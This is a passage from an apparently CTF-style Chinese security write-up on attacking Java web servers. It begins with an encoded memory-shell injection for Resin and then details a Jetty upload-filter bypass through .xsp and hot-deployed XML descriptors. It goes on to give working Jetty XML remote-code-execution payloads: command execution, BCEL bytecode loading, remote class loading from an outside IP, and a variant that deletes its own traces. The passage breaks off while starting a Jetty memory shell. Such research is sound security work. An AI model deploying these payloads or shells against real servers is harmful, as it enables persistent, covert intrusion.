java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", dcm_args);
defineClass.setAccessible(true);
String sbc="yv66vgAAADQAtwoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ%2BAQADKClWCAAIAQAQZTQ1ZTMyOWZlYjVkOTI1YgoACgALBwAMDAANAA4BABBqYXZhL2xhbmcvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCCgAQABEHABIMABMAFAEAIWphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RFdmVudAEAEWdldFNlcnZsZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsHABYBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0CwAVABgMABkAGgEACWdldE1ldGhvZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7CAAcAQAEUE9TVAoACgAeDAAfACABAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoIACIBAAdYLVNoZWxsCwAVACQMACUAJgEACWdldEhlYWRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7CAAoAQAKU0hFTExfQVVUSAsAFQAqDAArACwBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsIAC4BAAlfcmVzcG9uc2UKADAAMQcAMgwAMwA0AQAPamF2YS9sYW5nL0NsYXNzAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwoANgA3BwA4DAA5ADoBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWCgA2ADwMAD0APgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwBAAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UHAEIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQoAQQADCwAVAEUMAEYARwEADmdldElucHV0U3RyZWFtAQAkKClMamF2YXgvc2VydmxldC9TZXJ2bGV0SW5wdXRTdHJlYW07CgBJAEoHAEsMAEwATQEAIGphdmF4L3NlcnZsZXQvU2VydmxldElucHV0U3RyZWFtAQAEcmVhZAEABShbQilJCgBPAFAHAFEMAFIAUwEAEGphdmEvdXRpbC9BcnJheXMBAAtjb3B5T2ZSYW5nZQEACChbQklJKVtCCgBBAFUMAFYAVwEABXdyaXRlAQAFKFtCKVYHAFkBABFqYXZhL3V0aWwvSGFzaE1hcAoAWAADCABcAQAHcmVxdWVzdAoAWABeDABfAGABAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgAYgEACHJlc3BvbnNlCABkAQAHc2Vzc2lvbgsAFQBmDABnAGgBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwcAagEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcggAbAEAC2RlZmluZUNsYXNzBwBuAQACW0IJAHAAcQcAcgwAcwB0AQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsKADAAdgwAdwB4AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBBAHoMAHsADgEAC3RvQnl0ZUFycmF5CgB9AH4HAH8MAIAAgQEAGWNvbS90ZXN0L01lbVNoZWxsTGlzdGVuZXIBAAdEZWNyeXB0AQAGKFtCKVtCCgCDADcHAIQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QKAAIAKgoAMACHDACIAIkBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsKAHAAiwwAjACNAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsKAIMAjwwAkACRAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgAwAJMMAJQAlQEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsKAAIAHgcAmAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcAmgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCcAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAngEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HAKABACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uBwCiAQAgamF2YS9sYW5nL0luc3RhbnRpYXRpb25FeGNlcHRpb24KAKQApQcApgwApwAGAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAD3ByaW50U3RhY2tUcmFjZQcAqQEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uCgCoAKsMAAUArAEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgcArgEAJGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RMaXN0ZW5lcgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAA1TdGFja01hcFRhYmxlAQAQcmVxdWVzdERlc3Ryb3llZAEAJihMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OylWAQAScmVxdWVzdEluaXRpYWxpemVkAQAKU291cmNlRmlsZQEAFU1lbVNoZWxsTGlzdGVuZXIuamF2YQAhAH0AAgABAK0AAAAEAAEABQAGAAEArwAAAB0AAQABAAAABSq3AAGxAAAAAQCwAAAABgABAAAAEQACAIAAgQABAK8AAABgAAYABAAAACYSB00DPh0rvqIAHCsdKx0zLLYACR0EYBAPfjOCkVSEAwGn%2F%2BQrsAAAAAIAsAAAABYABQAAABQAAwAVAAsAFgAeABUAJAAYALEAAAAMAAL9AAUHAAoB%2BgAeAAEAsgCzAAEArwAAABkAAAACAAAAAbEAAAABALAAAAAGAAEAAAAdAAEAtACzAAEArwAAAhcABgAMAAABLyu2AA%2FAABVNLLkAFwEAEhu2AB2ZAQosEiG5ACMCAMYA%2FywSIbkAIwIAEie2AB2ZAO8suQApAQASLbYAL04tBLYANS0stgA7wAA%2FOgS7AEFZtwBDOgURAgC8CDoGLLkARAEAGQa2AEg2BxUHngAkGQYDFQe4AE46CBkFGQi2AFQsuQBEAQAZBrYASDYHp%2F%2FduwBYWbcAWjoIGQgSWyy2AF1XGQgSYRkEtgBdVxkIEmMsuQBlAQC2AF1XEmkSawa9ADBZAxJtU1kEsgBvU1kFsgBvU7YAdToJKhkFtgB5twB8OgoZCQS2AIIZCSq2AIW2AIYGvQACWQMZClNZBAO4AIpTWQUZCr64AIpTtgCOwAAwOgsZC7YAkhkItgCWV6cAEU0stgCjuwCoWSy3AKq%2FsQAGAAABHQEgAJcAAAEdASAAmQAAAR0BIACbAAABHQEgAJ0AAAEdASAAnwAAAR0BIAChAAIAsAAAAG4AGwAAACIACAAjADEAJAA9ACUAQgAmAEwAKABVACkAXAAqAGkAKwBuACwAeAAtAH8ALgCMAC8AjwAwAJgAMQChADIAqwAzALkANADXADUA4gA2AOgANwESADgBHQA%2BASAAOgEhADwBJQA9AS4APwCxAAAAMgAF%2FwBpAAgHAH0HABAHABUHADYHAD8HAEEHAG0BAAAl%2FwCNAAIHAH0HABAAAEIHAKQNAAEAtQAAAAIAtg%3D%3D";
byte[] bc = java.util.Base64.getDecoder().decode(sbc);
Object[] o = new Object[3];
o[0] = bc;o[1] = 0;o[2] = bc.length;
defineClass.invoke((Object)org.me.DemoServlet.class.getClassLoader(), o);
print("Class Load Done");
print(com.test.MemShellListener.class);
javax.servlet.ServletRequest request=(javax.servlet.ServletRequest)bsh.httpServletRequest;
com.caucho.server.webapp.WebApp app=(com.caucho.server.webapp.WebApp)request.getServletContext();
app.addListener("com.test.MemShellListener");
app.clearCache();
print("Memshell inject Done");

使用支持POST方法的Servlet作为请求路由,即可链接:

Jetty

源代码位置

就是在webapps里的war文件。

Jetty远程调试

配置Jetty JVM参数

由于Jetty直接使用了Jar包启动,直接加入命令行参数即可:

java -jar -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 start.jar

配置IDEA

解压War包,将classes目录添加为库(必须),复制Jetty下的lib目录,将其添加为库,spring的lib同样添加为库。

配置远程JVM调试,能正常链接即可。

Jetty代码审计

文件上传

反编译后可以发现org.me.controller.BaseController存在文件上传接口:

@RequestMapping(  
    value = {"/upload"},  
    method = {RequestMethod.POST}  
)  
public String upload(@RequestBody String content, @RequestParam("filename") String filename, ModelMap model) throws Exception {  
    File destFile = new File(filename);  
    filename = filename.toLowerCase();  
    if (!filename.contains(".jsp") && !filename.contains(".war") && !filename.contains(".jar")) {  
        FileOutputStream fileOutputStream = new FileOutputStream(destFile);  
        fileOutputStream.write(content.getBytes());  
        fileOutputStream.close();  
        fileOutputStream.flush();  
        model.addAttribute("message", "Upload Path: " + destFile.getCanonicalPath());  
        return "index";  
    } else {  
        model.addAttribute("message", "非法后缀");  
        return "index";  
    }  
}

可以发现屏蔽了.jsp[x].war以及.jar文件的上传,除了上述文件,应该可以写入任意文件,那么应该还是利用Jetty的特性来做到这件事情。 先看一下Jetty的Web配置情况,发现Jetty的Servlet配置有点奇怪:

  <servlet id="jsp">
    <servlet-name>jsp</servlet-name>
    <servlet-class>org.eclipse.jetty.jsp.JettyJspServlet</servlet-class>
    <init-param>
      <param-name>logVerbosityLevel</param-name>
      <param-value>DEBUG</param-value>
    </init-param>
    <init-param>
      <param-name>fork</param-name>
      <param-value>false</param-value>
    </init-param>
    <init-param>
      <param-name>xpoweredBy</param-name>
      <param-value>false</param-value>
    </init-param>
    <init-param>
      <param-name>compilerTargetVM</param-name>
      <param-value>1.7</param-value>
    </init-param>
    <init-param>
      <param-name>compilerSourceVM</param-name>
      <param-value>1.7</param-value>
    </init-param>
    <!--  
    <init-param>
        <param-name>classpath</param-name>
        <param-value>?</param-value>
    </init-param>
    -->
    <load-on-startup>0</load-on-startup>
  </servlet>
 
  <servlet-mapping>
    <servlet-name>jsp</servlet-name>
    <url-pattern>*.jsp</url-pattern>
    <url-pattern>*.jspf</url-pattern>
    <url-pattern>*.jspx</url-pattern>
    <url-pattern>*.xsp</url-pattern>
    <url-pattern>*.JSP</url-pattern>
    <url-pattern>*.JSPF</url-pattern>
    <url-pattern>*.JSPX</url-pattern>
    <url-pattern>*.XSP</url-pattern>
  </servlet-mapping>

发现.xsp居然也是JspServlet的解析尾缀,这样的话,尝试直接上传冰蝎马:

上传后发现了上传目录,但是实际上,查看jetty.ini的配置文件,可以发现没有配置War的解压目录,也就是说会解压到临时目录下,如图:

可以看到命名实际上非常不规范,在不存在列目录的漏洞时,如何确定到这个具体的目录是一个问题。

热重载原理分析

由于War文件被禁了,写配置的话得重启服务器,一般服务器有热重载的功能,那么看下在Jetty里这个是如何实现的。

直接搜索.endsWith(".war"),监听文件系统是否增删改war的话,必然会有这样的语句,最后可以匹配到:

感觉第二个WebAppProvider应该比较像,于是跟进,发现了fileChangedfileAddedfileRemoved方法,在fileAdd处下断点,看看添加文件是否会进入到目标方法。 成功进入断点:

而在上面三个方法里,发现除了.war,实际上还判断了.xml

protected void fileAdded(String filename) throws Exception {  
    File file = new File(filename);  
    if (file.exists()) {  
        if (file.isDirectory()) {  
            if (!this.exists(file.getName() + ".xml") && !this.exists(file.getName() + ".XML")) {  
                if (!this.exists(file.getName() + ".war") && !this.exists(file.getName() + ".WAR")) {  
                    super.fileAdded(filename);  
                }  
            }  
        } else {  
            String lowname = file.getName().toLowerCase(Locale.ENGLISH);  
            if (lowname.endsWith(".war")) {  
                String name = file.getName();  
                String base = name.substring(0, name.length() - 4);  
                if (!this.exists(base + ".xml") && !this.exists(base + ".XML")) {  
                    super.fileAdded(filename);  
                }  
            } else {  
                if (lowname.endsWith(".xml")) {  
                    super.fileAdded(filename);  
                }  
  
            }  
        }  
    }  
}

不难分析出,实际还监控了xml文件的改变,并且调用super.fileAdded

再跟进可以发现super.fileAdded会创建一个App

protected void fileAdded(String filename) throws Exception {  
   if (LOG.isDebugEnabled()) {  
      LOG.debug("added {}", new Object[]{filename});  
   }  
  
   App app = this.createApp(filename);  
   if (app != null) {  
      this._appMap.put(filename, app);  
      this._deploymentManager.addApp(app);  
   }  
  
}

也就是说,在webapps目录下创建一个xml文件,就会在jetty下创建一个新的App

事实上这似乎是一个很正常的行为,如果不使用WAR部署,直接将解压后的目录移动到Jetty的webapps下,则应该自动扫描web.xml从而完成自动部署,但是当我翻阅官方文档时Jetty : The Definitive Reference,却发现Jetty貌似这个xml不止是这样的作用。

再看Jetty Deployable Descriptor XML File,发现了一个例子:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
 
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
  <Set name="contextPath">/wiki</Set>
  <Set name="war">/opt/myapp/myapp.war</Set>
</Configure>

如果能够正常上传zip的话,实际上可以直接将文件的尾缀任意修改,然后配置好war路径就可以拿到webshell了,但是很遗憾,代码里的content类型是String,无法正常的写入一个Zip文件,因此这就被直接排除了。

热重载到指定目录

回到文件监听的代码里,会发现,如果XML存在,则会忽略War文件的变动,而XML的变动则是一定会出发App的热部署。 那么这样的话,一个较好的利用方式就出现了:

  1. 写入一个新的XML文件,重新部署spring.war到一个指定的目录
  2. 向指定目录写入shell.xsp
  3. 链接webshell

查看文档这确实是可行的,官方提供了一个tempDirectory的变量去控制释放目录。

首先准备好XML文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
 
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
  <Set name="contextPath">/test</Set>
  <Set name="war">C:\Users\Administrator\Desktop\jetty\webapps\spring.war</Set>
  <Set name="tempDirectory">C:\Users\Administrator\Desktop\jetty\test</Set>
</Configure>

这会在/testContext下部署spring.war,并且解压到/test目录下。

随后写入Webshell:

尝试链接:

成功。

但是到这里实际有点问题,这应该是内存马的练习,而不是绕过上传Webshell的练习。

XML代码执行

在官网文档设置临时目录部分的下面,看到了这一段XML代码:

<Configure class="org.eclipse.jetty.webapp.WebAppContext">
 
  <Set name="contextPath">/test</Set>
  <Set name="war">foo.war</Set>
 
  <Call name="setAttribute">
    <Arg>javax.servlet.context.tempdir</Arg>
    <Arg>/some/dir/foo</Arg>
  </Call>
 
</Configure>

实际上这也是设置临时目录的,但这里使用到了Call这个标签,这里的设置等同于以下代码:

WebAppContext context = new WebAppContext();
context.setContextPath("/test");
context.setWar("foo.war");
context.setAttribute("org.eclipse.jetty.webapp.basetempdir", "/tmp/foo");

再次搜索Call,可以确定这是调用方法的一个标签,而Set则是调用对象对应的Setter,那么考虑使用XML去执行代码。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
	<Call class="java.lang.Runtime" name="getRuntime">
		<Call name="exec">
			<Arg>
				<Array type="String">
					<Item>calc</Item>
				</Array>
			</Arg>
		</Call>
	</Call>
</Configure>

再看服务器,成功弹窗计算器:

200

那么就可以考虑利用这个执行任意代码了。

BCEL字节码加载

要想直接注入内存马,就得利用Classloader加载字节码并且newInstance,由于XML语法繁琐,直接使用BCELClassloader加载并newInstance,调用方法更少,并且可链式调用new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$...").newInstance();,是极好的方式,这里先通过一个静态类去完成命令执行。

静态类如下:

public class Test {  
    static {  
        try {  
            Runtime.getRuntime().exec("calc");  
        } catch (IOException e) {  
            throw new RuntimeException(e);  
        }
    }
}

编译转BCEL字节码:

$$BCEL$$$l$8b$I$A$A$A$A$A$A$ffeP$cbN$CA$Q$ac$e15$ec$ba$c8K$k$e2$T$_$82$H$b9x$83x1$9a$YQ$8c$Q$8c$c7e$9c$e0$o$ec$92eQ$fe$c83$X5$9a$e8$dd$8f2$f6l$I$920$87$99$e9$ea$ee$aa$ee$fa$f9$fd$f8$Cp$84$3d$j$B$E9B$G$c2$880$qz$e6$93Y$e9$9bv$b7$d2$e8$f4$a4$f0$Y$o5$cb$b6$bcc$86$60$a9$dc$d6$R$85$c6$a1$hX$81$c1$90$fc$_$bf$Z$db$9e5$90$MzWz$f3$mS$w$d7$97j$aaQ$ac2$84$84$d9$X$8a$_a$m$89$U$Br$o$F$c3$7ei$a1$a3$e9$b9$96$dd$ad$$$92$5c$bb$8e$90$a3Q$95c$8d$n$ed$e3$96S9o$9cN$84$iz$96csd$Z$KK$aa$f3$bc$8e$M$f2j$dfu$86$fc$a2X$eb$c1u$9e$cdN_V$cbm$8e$N$9a$a8$rG$e4$40$e8$c4$b9$a7$5d$e2u$cb$96W$e3AG$ba$zU$c5$Q$ad$89$fe$cc$9cX$d33$c5$e3$a59$9c$a5$f4$a63v$85$3c$b3T$a0$v$9eC$r$84$o$K$e4$b8$3a$B0$e59$dd$9b$Um$d1$cb$e8$N$l$bc$81M$e9$c3$I$82$9f$G$82$e4$d2$f6$bc$b4E$b1Bs$ef$e0$a9$d8$x$e2$b7$_$88$5d$7c$osG$bd$b9$ef$a9$9f$d4$60$mM$g$8a$qK$3a$8aJ$f3Q$8e$Y$d1e$a1c$87P$8e$40$9d$p$adQ$d3$ae$3fT$f1$PC$97$ba$dd$i$C$A$A

组合成Payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
	<New id="bcel_classloader" class="com.sun.org.apache.bcel.internal.util.ClassLoader">
		<Call name="loadClass">
			<Arg>$$BCEL$$$l$8b$I$A$A$A$A$A$A$ffeP$cbN$CA$Q$ac$e15$ec$ba$c8K$k$e2$T$_$82$H$b9x$83x1$9a$YQ$8c$Q$8c$c7e$9c$e0$o$ec$92eQ$fe$c83$X5$9a$e8$dd$8f2$f6l$I$920$87$99$e9$ea$ee$aa$ee$fa$f9$fd$f8$Cp$84$3d$j$B$E9B$G$c2$880$qz$e6$93Y$e9$9bv$b7$d2$e8$f4$a4$f0$Y$o5$cb$b6$bcc$86$60$a9$dc$d6$R$85$c6$a1$hX$81$c1$90$fc$_$bf$Z$db$9e5$90$MzWz$f3$mS$w$d7$97j$aaQ$ac2$84$84$d9$X$8a$_a$m$89$U$Br$o$F$c3$7ei$a1$a3$e9$b9$96$dd$ad$$$92$5c$bb$8e$90$a3Q$95c$8d$n$ed$e3$96S9o$9cN$84$iz$96csd$Z$KK$aa$f3$bc$8e$M$f2j$dfu$86$fc$a2X$eb$c1u$9e$cdN_V$cbm$8e$N$9a$a8$rG$e4$40$e8$c4$b9$a7$5d$e2u$cb$96W$e3AG$ba$zU$c5$Q$ad$89$fe$cc$9cX$d33$c5$e3$a59$9c$a5$f4$a63v$85$3c$b3T$a0$v$9eC$r$84$o$K$e4$b8$3a$B0$e59$dd$9b$Um$d1$cb$e8$N$l$bc$81M$e9$c3$I$82$9f$G$82$e4$d2$f6$bc$b4E$b1Bs$ef$e0$a9$d8$x$e2$b7$_$88$5d$7c$osG$bd$b9$ef$a9$9f$d4$60$mM$g$8a$qK$3a$8aJ$f3Q$8e$Y$d1e$a1c$87P$8e$40$9d$p$adQ$d3$ae$3fT$f1$PC$97$ba$dd$i$C$A$A</Arg>
			<Call name="newInstance"></Call>
		</Call>
	</New>
</Configure>

请求要把Content-Type改成multipart/form-data

可以看到成功执行,在目标机器成功弹出计算器。

常规字节码加载

前面其实不难看出,XML的解析可以执行任意代码,如果目标不是Java 8,而是更高版本,则需要一种更加通用的字节码加载方式。

出网情况

若是机器出网的话,则可通过URLClassLoader去完成这件事情,如下XML

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
    <New id="url_classloader" class="java.net.URLClassLoader">
        <Arg>
            <Array type="java.net.URL">
                <Item>
                    <New id="url" class="java.net.URL">
                        <Arg>http://100.98.212.46:10818/</Arg>
                    </New>
                </Item>
            </Array>
        </Arg>
        <Call name="loadClass">
            <Arg>Test</Arg>
            <Call name="newInstance"></Call>
        </Call>
    </New>
</Configure>

成功弹窗记事本:

不出网情况

这种情况就稍微要更复杂一点了,由于上传只能写入可见字符,因为Class文件里是存在着大量不可见字符的,不出网则首先需要将字节码编码,而后解码释放到目标机器上,然后再使用ClassLoader进行加载。

首先考虑写文件,选用的方法肯定是需要Java通用的写入方法,但是由于编码的文件,可能需要考虑到究竟是使用java.util.Base64(高版本)还是使用sun.misc.BASE64Decoder(低版本)去进行解码,两个不同解码方式的写文件XML:

  • 使用sun.misc.BASE64Decoder
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
    <New id="decoder" class="sun.misc.BASE64Decoder">
        <Call id="classbyte" name="decodeBuffer">
            <Arg>Base64内容</Arg>
        </Call>
    </New>
    <New id="os" class="java.io.FileOutputStream">
        <Arg>Exploit.class</Arg>
        <Arg type="boolean">false</Arg>
        <Call name="write">
            <Arg>
                <Ref refid="classbyte" />
            </Arg>
        </Call>
        <Call name="close"></Call>
    </New>
</Configure>
  • 使用java.util.Base64
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
    <Call class="java.util.Base64" name="getDecoder">
        <Call id="classbyte" name="decode">
            <Arg>Base64内容</Arg>
        </Call>
    </Call>
    <New id="os" class="java.io.FileOutputStream">
        <Arg>Exploit.class</Arg>
        <Arg type="boolean">false</Arg>
        <Call name="write">
            <Arg>
                <Ref refid="classbyte" />
            </Arg>
        </Call>
        <Call name="close"></Call>
    </New>
</Configure>

如果需要把写入的文件锁死,去除<Call name="close"></Call>,不关闭流即可。

写入文件现在解决了,接下来仍然是使用URLClassLoader去进行类加载,将上面出网的Payload简单修改即可使用:

<New id="file" class="java.io.File">
	<Arg>./</Arg>
	<Call id="url" name="toURL"></Call>
</New>
<New id="url_classloader" class="java.net.URLClassLoader">
	<Arg>
		<Array type="java.net.URL">
			<Item>
				<Ref refid="url" />
			</Item>
		</Array>
	</Arg>
	<Call name="loadClass">
		<Arg>Exploit</Arg>
		<Call name="newInstance"></Call>
	</Call>
</New>

将其组合起来就可以形成一个在任意Java版本都可以使用的Jetty XML RCE了:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
    <Call class="java.util.Base64" name="getDecoder">
        <Call id="classbyte" name="decode">
            <Arg>Base64字节码</Arg>
        </Call>
    </Call>
    <New id="os" class="java.io.FileOutputStream">
        <Arg>类名.class</Arg>
        <Arg type="boolean">false</Arg>
        <Call name="write">
            <Arg>
                <Ref refid="classbyte" />
            </Arg>
        </Call>
        <Call name="close"></Call>
    </New>
    <New id="file" class="java.io.File">
	    <Arg>./</Arg>
	    <Call id="url" name="toURL"></Call>
    </New>
    <New id="url_classloader" class="java.net.URLClassLoader">
        <Arg>
            <Array type="java.net.URL">
                <Item>
                    <Ref refid="url" />
                </Item>
            </Array>
        </Arg>
        <Call name="loadClass">
            <Arg>类名</Arg>
            <Call name="newInstance"></Call>
        </Call>
    </New>
</Configure>

如果想要更加隐蔽,则还需要在完成后将对应的文件删除,方法也很简单,只需要在最后再加一点内容,完整内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
    <Call class="java.util.Base64" name="getDecoder">
        <Call id="classbyte" name="decode">
            <Arg>Base64内容</Arg>
        </Call>
    </Call>
    <New id="os" class="java.io.FileOutputStream">
        <Arg>类名.class</Arg>
        <Arg type="boolean">false</Arg>
        <Call name="write">
            <Arg>
                <Ref refid="classbyte" />
            </Arg>
        </Call>
        <Call name="close"></Call>
    </New>
    <New id="file" class="java.io.File">
	    <Arg>./</Arg>
	    <Call id="url" name="toURL"></Call>
    </New>
    <New id="url_classloader" class="java.net.URLClassLoader">
        <Arg>
            <Array type="java.net.URL">
                <Item>
                    <Ref refid="url" />
                </Item>
            </Array>
        </Arg>
        <Call name="loadClass">
            <Arg>类名</Arg>
            <Call name="newInstance"></Call>
        </Call>
    </New>
    <New class="java.io.File">
        <Arg>类名.class</Arg>
        <Call name="delete"></Call>
    </New>
</Configure>

Jetty内存马

WebAppContext

获取ServletContext

如图,对于ServletContext的实现有五个,显然是WebAppContext是对应的最终实现:

那么现在的问题就变成了如何获取到WebAppContext了,一种可行的方法是通过获取到WebAppClassLoader再去取WebAppContext

使用项目GitHub - c0ny1/java-object-searcher: java内存对象搜索辅助工具去搜索一下获取链,将断点断在org.eclipse.jetty.xml.XomConfigurationvoid set(Object obj, XmlParser.Node node)方法处,如下:

断点后,执行表达式:

//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("WebAppContext").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("C:\\Users\\evalexp\\Desktop\\search");
searcher.searchObject();

完成后可以看到有许多链:

TargetObject = {java.util.TimerThread} 
  ---> queue = {java.util.TaskQueue} 
   ---> queue = {class [Ljava.util.TimerTask;} 
    ---> [1] = {org.eclipse.jetty.util.Scanner$1} 
     ---> this$0 = {org.eclipse.jetty.util.Scanner} 
      ---> _listeners = {java.util.List<org.eclipse.jetty.util.Scanner$Listener>} 
       ---> [0] = {org.eclipse.jetty.deploy.providers.ScanningAppProvider$1} 
        ---> this$0 = {org.eclipse.jetty.deploy.providers.WebAppProvider} 
         ---> _appMap = {java.util.Map<java.lang.String, org.eclipse.jetty.deploy.App>} 
          ---> [D:\Program Files\jetty-distribution-9.4.52.v20230823\webapps\jetty.xml] = {org.eclipse.jetty.deploy.App} 
           ---> _context = {org.eclipse.jetty.webapp.WebAppContext}
 
 
TargetObject = {java.util.TimerThread} 
  ---> group = {java.lang.ThreadGroup} 
   ---> threads = {class [Ljava.lang.Thread;} 
    ---> [1] = {java.lang.Thread} 
     ---> target = {org.eclipse.jetty.util.thread.QueuedThreadPool$Runner} 
      ---> this$0 = {org.eclipse.jetty.util.thread.QueuedThreadPool} 
        ---> _listeners = {java.util.List<org.eclipse.jetty.util.component.Container$Listener>} 
         ---> [0] = {org.eclipse.jetty.jmx.MBeanContainer} 
          ---> _beans = {java.util.concurrent.ConcurrentHashMap} 
            ---> _beans = {org.eclipse.jetty.webapp.WebAppContext}
 
 
TargetObject = {java.util.TimerThread} 
  ---> queue = {java.util.TaskQueue} 
   ---> queue = {class [Ljava.util.TimerTask;} 
    ---> [1] = {org.eclipse.jetty.util.Scanner$1} 
     ---> this$0 = {org.eclipse.jetty.util.Scanner} 
      ---> _listeners = {java.util.List<org.eclipse.jetty.util.Scanner$Listener>} 
       ---> [0] = {org.eclipse.jetty.deploy.providers.ScanningAppProvider$1} 
        ---> this$0 = {org.eclipse.jetty.deploy.providers.WebAppProvider} 
         ---> _appMap = {java.util.Map<java.lang.String, org.eclipse.jetty.deploy.App>} 
          ---> [D:\Program Files\jetty-distribution-9.4.52.v20230823\webapps\jetty.xml] = {org.eclipse.jetty.deploy.App} 
           ---> _context = {org.eclipse.jetty.webapp.WebAppContext} 
                   ---> _scontext = {org.eclipse.jetty.webapp.WebAppContext$Context}
 
 
TargetObject = {java.util.TimerThread} 
  ---> group = {java.lang.ThreadGroup} 
   ---> threads = {class [Ljava.lang.Thread;} 
    ---> [1] = {java.lang.Thread} 
     ---> target = {org.eclipse.jetty.util.thread.QueuedThreadPool$Runner} 
      ---> this$0 = {org.eclipse.jetty.util.thread.QueuedThreadPool} 
        ---> _listeners = {java.util.List<org.eclipse.jetty.util.component.Container$Listener>} 
         ---> [0] = {org.eclipse.jetty.jmx.MBeanContainer} 
          ---> _beans = {java.util.concurrent.ConcurrentHashMap} 
            ---> _beans = {org.eclipse.jetty.webapp.WebAppContext} 
                    ---> _scontext = {org.eclipse.jetty.webapp.WebAppContext$Context}

此处选用第一条链,获取Context

static List getContext() {  
    try {  
